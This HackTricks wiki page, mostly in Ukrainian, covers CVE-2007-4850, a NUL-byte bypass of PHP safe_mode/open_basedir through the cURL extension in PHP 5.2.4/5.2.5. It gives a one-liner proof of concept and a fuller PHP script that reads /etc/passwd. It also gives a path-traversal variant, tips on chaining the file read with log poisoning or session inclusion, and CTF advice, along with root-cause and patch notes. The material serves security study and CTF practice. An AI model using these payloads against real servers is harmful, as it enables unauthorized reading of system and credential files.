PHP 5.2.4 та 5.2.5 PHP cURL

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

На цій сторінці описано застарілий, але все ще корисний у CTFs/локальних старих інсталяціях трюк для обходу перевірок PHP safe_mode/open_basedir за допомогою розширення cURL на певних збірках PHP 5.2.x.

  • Затронуті версії: PHP 5.2.4 та 5.2.5 за умови увімкненого ext/curl.
  • Наслідки: Читання довільних локальних файлів незважаючи на обмеження safe_mode або open_basedir (без прямого виконання коду).
  • ID: CVE-2007-4850.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

One-liner PoC

Якщо safe_mode або open_basedir активні, а cURL увімкнено, наступне поверне вміст поточного скрипта:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

Більш явний PoC (arbitrary file read)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Примітки:

  • Використовуйте подвійні лапки або chr(0) для вставки реального NUL-байта. Процентне кодування (%00) працюватиме ненадійно.
  • Це примітив читання файлу. Поєднуйте з іншими примітивами (log poisoning, session file inclusion, etc.) для подальшої ескалації, коли це можливо.

Чому це працює (коротко)

Уразливість полягає в тому, як PHP 5.2.4/5.2.5 виконував перевірки safe_mode/open_basedir для file:// URL-ів в ext/curl. Перевірка парсила URL і валідувала компонент шляху, але через обробку NUL-байта вона валідувала інший рядок, ніж той, який фактично використовував libcurl. На практиці валідатор міг дозволяти шлях після NUL, тоді як libcurl використовував частину перед NUL як контейнер URL, що дозволяло обхід, який приводив до читання файлу, розміщеного після NUL-байта. Див. оригінальний аналіз та відповідний макрос у curl/interface.c для деталей. [CVE-2007-4850].

Обмеження та виправлення

  • Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
  • Поширюється лише на дуже старі розгортання PHP; safe_mode було видалено в PHP 5.4, і сучасні збірки не проявляють такої поведінки.

Пов’язані історичні обходи, що використовують cURL

  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed file:// access with embedded NULs to bypass open_basedir; fixed before 5.2.x.
  • PHP bugs #30609/#36223 tracked early cURL open_basedir issues using file:// without canonicalization. Any check before the NUL byte or without realpath-style resolution is prone to the same truncation.

Поради для CTF

  • Коли ви виявляєте PHP 5.2.4/5.2.5 з завантаженим ext/curl (шукай cURL support => enabled в phpinfo() і точну PHP Version), цей трюк зазвичай працює навіть якщо allow_url_fopen відключено, оскільки ext/curl сам обробляє file://.
  • Якщо прямі шляхи заблоковано, спробуйте відносний traversal після NUL, напр., file://x\x00../../../../etc/passwd. Траверс вирішується libcurl, а не охороною open_basedir.
  • Ви можете упакувати payload в одне тіло HTTP-запиту, щоб викликати LFI через вразливий server-side код, який відображає керовані користувачем URL-и в curl_exec() (поширено в застарілих SSRF-подібних кінцевих точках).

See also

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks